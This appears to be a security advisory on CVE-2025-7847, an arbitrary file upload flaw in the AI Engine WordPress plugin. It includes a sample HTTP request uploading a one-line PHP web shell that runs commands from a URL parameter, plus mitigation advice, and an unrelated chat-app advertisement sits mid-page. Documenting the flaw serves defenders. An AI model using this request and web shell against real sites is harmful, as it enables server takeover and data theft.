Overview
Vulnerability CVE-2025-7847 is a critical security issue that affects the AI Engine plugin for WordPress, specifically versions 2.9.3 and 2.9.4. This vulnerability allows authenticated attackers with Subscriber-level access and above to upload arbitrary files to a server when the REST API is enabled. This flaw could potentially lead to remote code execution, compromising the system and potentially leading to data leakage.
This vulnerability is a severe issue that affects WordPress sites using the vulnerable versions of the AI Engine plugin. The potential for remote code execution means this vulnerability could be used to take control of a server, making it a high-priority issue for site administrators and cybersecurity professionals.
Vulnerability Summary
CVE ID: CVE-2025-7847
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (User level access)
User Interaction: Required
Impact: System compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
AI Engine Plugin for WordPress | 2.9.3, 2.9.4
How the Exploit Works
The vulnerability resides in the rest_simpleFileUpload() function, which is missing file type validation. When the REST API is enabled, an authenticated user with subscriber-level access can exploit this flaw to upload arbitrary files to the server. Without proper file type validation, an attacker can upload executables or scripts, which could then be executed remotely, leading to a potential system compromise.
Conceptual Example Code
An attacker might exploit this vulnerability using the following conceptual HTTP request:
POST /wp-json/ai-engine/v1/upload HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Authorization: Bearer {user_token}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a PHP file named “malicious.php”, which can execute system commands passed via the ‘cmd’ GET parameter. Once uploaded, the attacker can trigger the malicious code by simply accessing the uploaded file via a web browser, leading to remote code execution.
Mitigation Guidance
To mitigate the risk of this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. If the vendor patch is not yet released, temporary mitigation steps include using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious activities. Furthermore, disabling the REST API if it’s not in use can also prevent exploitation of this vulnerability.